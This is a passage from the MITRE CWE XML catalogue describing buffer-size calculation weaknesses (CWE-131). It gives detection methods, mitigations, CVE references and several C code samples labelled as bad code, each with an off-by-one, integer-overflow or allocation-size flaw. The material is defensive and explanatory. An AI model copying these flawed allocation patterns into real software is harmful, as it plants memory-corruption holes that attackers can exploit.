						counter that prevents a length check conditional from exiting a
						loop.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1235</Observed_Example_Reference>
					          <Observed_Example_Description>Length field of a request not
						verified.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3184</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer overflow by modifying a length
						value.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>SECUNIA:18747</Observed_Example_Reference>
					          <Observed_Example_Description>Length field inconsistency crashes cell
						phone.</Observed_Example_Description>
					          <Observed_Example_Link>http://secunia.com/advisories/18747/</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Length Parameter Inconsistency</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Name,
						Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Description, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Length Parameter
						Inconsistency</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Length
						Parameter Inconsistency</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="131" Name="Incorrect Calculation of Buffer Size" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not correctly calculate the size to be used
					when allocating a buffer, which could lead to a buffer
					overflow.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>865</Relationship_Target_ID>
					          <!--2011 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This is a broad category. Some examples include:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>simple math errors,</Text>
						            <Text>incorrectly updating parallel counters,</Text>
						            <Text>not accounting for size differences when "transforming" one input to
							another format (e.g. URL canonicalization or other transformation that
							can generate a result that's larger than the original input, i.e.
							"expansion").</Text>
					          </Block>
					          <Text>This level of detail is rarely available in public reports, so it is
						difficult to find good examples.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>This weakness may be a composite or a chain. It also may contain layering
						or perspective differences.</Text>
					          <Text>This issue may be associated with many different types of incorrect
						calculations (CWE-682), although the integer overflow (CWE-190) is probably
						the most prevalent. This can be primary to resource consumption problems
						(CWE-400), including uncontrolled memory allocation (CWE-789). However, its
						relationship with out-of-bounds buffer access (CWE-119) must also be
						considered.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the incorrect calculation is used in the context of memory
							allocation, then the software may create a buffer that is smaller or
							larger than expected. If the allocated buffer is smaller than expected,
							this could lead to an out-of-bounds read or write (CWE-119), possibly
							causing a crash, allowing arbitrary code execution, or exposing
							sensitive data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
						            <Text>Automated static analysis generally does not account for environmental
							considerations when reporting potential errors in buffer calculations.
							This can make it difficult for users to determine which warnings should
							be investigated first. For example, an analysis tool might report buffer
							overflows that originate from command line arguments in a program that
							is not expected to run with setuid or other special privileges.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>Detection techniques for buffer-related errors are more mature than
							for most other weakness types.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>Without visibility into the code, black box methods may not be able to
							sufficiently distinguish this weakness from others, requiring follow-up
							manual methods to diagnose the underlying problem. </Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-9">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual analysis can be useful for finding this weakness, but it might
							not achieve desired code coverage within limited time constraints. This
							becomes difficult for weaknesses that must be considered for all inputs,
							since the attack surface can be too large.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-7">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual static analysis is useful for evaluating the
							correctness of allocation calculations. This can be useful for detecting
							overflow conditions (CWE-190) or similar weaknesses that might have
							serious security impacts on the program.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When allocating a buffer for the purpose of transforming, converting,
							or encoding an input, allocate enough memory to handle the largest
							possible encoding. For example, in a routine that converts "&amp;"
							characters to "&amp;amp;" for HTML entity encoding, the output
							buffer needs to be at least 5 times as large as the input buffer.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-36">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand the programming language's underlying representation and
							how it interacts with numeric calculation (CWE-681). Pay close attention
							to byte size discrepancies, precision, signed/unsigned distinctions,
							truncation, conversion and casting between types, "not-a-number"
							calculations, and how the language handles numbers that are too large or
							too small for its underlying representation. [R.131.7]</Text>
						            <Text>Also be careful to account for 32-bit, 64-bit, and other potential
							differences that may affect the numeric representation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-8">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Perform input validation on any numeric input by ensuring that it is
							within the expected range. Enforce that the input meets both the minimum
							and maximum requirements for the expected range.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When processing structured incoming data containing a size field
							followed by raw data, identify and resolve any inconsistencies between
							the size field and the actual size of the data (CWE-130).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When allocating memory that uses sentinels to mark the end of a data
							structure - such as NUL bytes in strings - make sure you also include
							the sentinel in your calculation of the total amount of memory that must
							be allocated.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-13">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Replace unbounded copy functions with analogous functions that support
							length arguments, such as strcpy with strncpy. Create these if they are
							not available.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This approach is still susceptible to calculation errors, including
							issues such as off-by-one errors (CWE-193) and incorrectly calculating
							buffer lengths (CWE-131).</Text>
						            <Text>Additionally, this only addresses potential overflow issues. Resource
							consumption / exhaustion issues are still possible.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use sizeof() on the appropriate data type to avoid CWE-467.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the appropriate type for the desired action. For example, in
							C/C++, only use unsigned types for values that could never be negative,
							such as height, width, or other numbers related to quantity. This will
							simplify sanity checks and will reduce surprises related to unexpected
							casting.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>Use libraries or frameworks that make it easier to handle numbers
							without unexpected consequences, or buffer allocation routines that
							automatically track buffer size.</Text>
						            <Text>Examples include safe integer handling packages such as SafeInt (C++)
							or IntegerLib (C or C++). [R.131.1]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-10">
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run or compile the software using features or extensions that
							automatically provide a protection mechanism that mitigates or
							eliminates buffer overflows.</Text>
						            <Text>For example, certain compilers and extensions provide automatic buffer
							overflow detection mechanisms that are built into the compiled code.
							Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat
							FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not necessarily a complete solution, since these mechanisms
							can only detect certain types of overflows. In addition, an attack could
							still cause a denial of service, since the typical response is to exit
							the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-11">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a feature like Address Space Layout Randomization (ASLR) [R.131.3]
							[R.131.5].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution. However, it forces the attacker to
							guess an unknown value that changes every program execution. In
							addition, an attack could still cause a denial of service, since the
							typical response is to exit the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-12">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a CPU and operating system that offers Data Execution Protection
							(NX) or its equivalent [R.131.4] [R.131.5].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since buffer overflows could be used
							to overwrite nearby variables to modify the software's state in
							dangerous ways. In addition, it cannot be used in cases in which
							self-modifying code is required. Finally, an attack could still cause a
							denial of service, since the typical response is to exit the
							application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-26">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Examine compiler warnings closely and eliminate problems with
							potential security implications, such as signed / unsigned mismatch in
							memory operations, or use of uninitialized variables. Even if the
							weakness is rarely exploitable, a single failure may lead to the
							compromise of the entire system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.131.6]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-20">
					          <Intro_Text>The following code allocates memory for a maximum number of widgets.
						It then gets a user-specified number of widgets, making sure that the user
						does not request too many. It then initializes the elements of the array
						using InitializeWidget(). Because the number of widgets can vary for each
						request, the code inserts a NULL pointer to signify the location of the last
						widget.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int i;</Code>
							              <Code>unsigned int numWidgets;</Code>
							              <Code>Widget **WidgetList;</Code>
							              <Code/>
							              <Code>numWidgets = GetUntrustedSizeValue();</Code>
							              <Code>if ((numWidgets == 0) || (numWidgets &gt; MAX_NUM_WIDGETS))
								{</Code>
							              <Block>
								                <Code>ExitError("Incorrect number of widgets requested!");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget
								*));</Code>
							              <Code>printf("WidgetList ptr=%p\n", WidgetList);</Code>
							              <Code>for(i=0; i&lt;numWidgets; i++) {</Code>
							              <Block>
								                <Code>WidgetList[i] = InitializeWidget();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>WidgetList[numWidgets] = NULL;</Code>
							              <Code>showWidgets(WidgetList);</Code>
						            </Block>
						            <Text>However, this code contains an off-by-one calculation error. It
							allocates exactly enough space to contain the specified number of
							widgets, but it does not include the space for the NULL pointer. As a
							result, the allocated buffer is smaller than it is supposed to be. So if
							the user ever requests MAX_NUM_WIDGETS, there is an off-by-one buffer
							overflow (CWE-193) when the NULL is assigned. Depending on the
							environment and compilation settings, this could cause memory
							corruption.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-33">
					          <Intro_Text>The following image processing code allocates a table for
						images.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>img_t table_ptr; /*struct containing img data, 10kB each*/</Code>
							              <Code>int num_imgs;</Code>
							              <Code>...</Code>
							              <Code>num_imgs = get_num_imgs();</Code>
							              <Code>table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code intends to allocate a table of size num_imgs, however as
							num_imgs grows large, the calculation determining the size of the list
							will eventually overflow (CWE-190). This will result in a very small
							list to be allocated instead. If the subsequent code operates on the
							list as if it were num_imgs long, it may result in many types of
							out-of-bounds problems (CWE-119).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-19">
					          <Intro_Text>This example applies an encoding procedure to an input string and
						stores it into a buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char * copy_input(char *user_supplied_string){</Code>
							              <Block Block_Nature="Bad_Code">
								                <Code>int i, dst_index;</Code>
								                <Code>char *dst_buf = (char*)malloc(4*sizeof(char) *
									MAX_SIZE);</Code>
								                <Code>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){</Code>
								                <Block>
									                  <Code>die("user string too long, die evil hacker!");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>dst_index = 0;</Code>
								                <Code>for ( i = 0; i &lt; strlen; i++ ){</Code>
								                <Block>
									                  <Code>if( '&amp;' == user_supplied_string[i] ){</Code>
									                  <Block>
										                    <Code>dst_buf[dst_index++] = '&amp;';</Code>
										                    <Code>dst_buf[dst_index++] = 'a';</Code>
										                    <Code>dst_buf[dst_index++] = 'm';</Code>
										                    <Code>dst_buf[dst_index++] = 'p';</Code>
										                    <Code>dst_buf[dst_index++] = ';';</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else if ('&lt;' == user_supplied_string[i] ){</Code>
									                  <Block>
										                    <Comment>/* encode to &amp;lt; */</Comment>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else dst_buf[dst_index++] =
										user_supplied_string[i];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return dst_buf;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer attempts to encode the ampersand character in the
							user-controlled string, however the length of the string is validated
							before the encoding procedure is applied. Furthermore, the programmer
							assumes encoding expansion will only expand a given character by a
							factor of 4, while the encoding of the ampersand expands by 5. As a
							result, when the encoding procedure expands the string it is possible to
							overflow the destination buffer if the attacker provides a string of
							many ampersands.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-21">
					          <Intro_Text>The following code is intended to read an incoming packet from a
						socket and extract one or more headers.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>DataPacket *packet;</Code>
							              <Code>int numHeaders;</Code>
							              <Code>PacketHeader *headers;</Code>
							              <Code/>
							              <Code>sock=AcceptSocketConnection();</Code>
							              <Code>ReadPacket(packet, sock);</Code>
							              <Code>numHeaders =packet-&gt;headers;</Code>
							              <Code/>
							              <Code>if (numHeaders &gt; 100) {</Code>
							              <Block>
								                <Code>ExitError("too many headers!");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>headers = malloc(numHeaders * sizeof(PacketHeader);</Code>
							              <Code>ParsePacketHeaders(packet, headers);</Code>
						            </Block>
						            <Text> The code performs a check to make sure that the packet does not
							contain too many headers. However, numHeaders is defined as a signed
							int, so it could be negative. If the incoming packet specifies a value
							such as -3, then the malloc calculation will generate a negative number
							(say, -300 if each header can be a maximum of 100 bytes). When this
							result is provided to malloc(), it is first converted to a size_t type.
							This conversion then produces a large value such as 4294966996, which
							may cause malloc() to fail or to allocate an extremely large amount of
							memory (CWE-195). With the appropriate negative numbers, an attacker
							could trick malloc() into using a very small positive number, which then
							allocates a buffer that is much smaller than expected, potentially
							leading to a buffer overflow.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code attempts to save three different identification
						numbers into an array. The array is allocated from memory using a call to
						malloc(). </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int *id_sequence;</Code>
							              <Code/>
							              <Comment>/* Allocate space for an array of three ids. */</Comment>
							              <Code/>
							              <Code>id_sequence = (int*) malloc(3);</Code>
							              <Code>if (id_sequence == NULL) exit(1);</Code>
							              <Code/>
							              <Comment>/* Populate the id array. */</Comment>
							              <Code/>
							              <Code>id_sequence[0] = 13579;</Code>
							              <Code>id_sequence[1] = 24680;</Code>
							              <Code>id_sequence[2] = 97531;</Code>
						            </Block>
						            <Text>The problem with the code above is the value of the size parameter
							used during the malloc() call. It uses a value of '3' which by
							definition results in a buffer of three bytes to be created. However the
							intention was to create a buffer that holds three ints, and in C, each
							int requires 4 bytes worth of memory, so an array of 12 bytes is needed,
							4 bytes for each int. Executing the above code could result in a buffer
							overflow as 12 bytes of data is being saved into 3 bytes worth of
							allocated space. The overflow would occur during the assignment of
							id_sequence[0] and would continue with the assignment of id_sequence[1]
							and id_sequence[2]. </Text>
						            <Text>The malloc() call could have used '3*sizeof(int)' as the value for the
							size parameter in order to allocate the correct amount of space required
							to store the three ints. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1363</Observed_Example_Reference>
					          <Observed_Example_Description>substitution overflow: buffer overflow using
						environment variables that are expanded after the length check is
						performed</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0747</Observed_Example_Reference>
					          <Observed_Example_Description>substitution overflow: buffer overflow using
						expansion of environment variables</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2103</Observed_Example_Reference>
					          <Observed_Example_Description>substitution overflow: buffer overflow using a
						large number of substitution strings</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3120</Observed_Example_Reference>
					          <Observed_Example_Description>transformation overflow: product adds extra escape
						characters to incoming data, but does not account for them in the buffer
						length</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0899</Observed_Example_Reference>
					          <Observed_Example_Description>transformation overflow: buffer overflow when
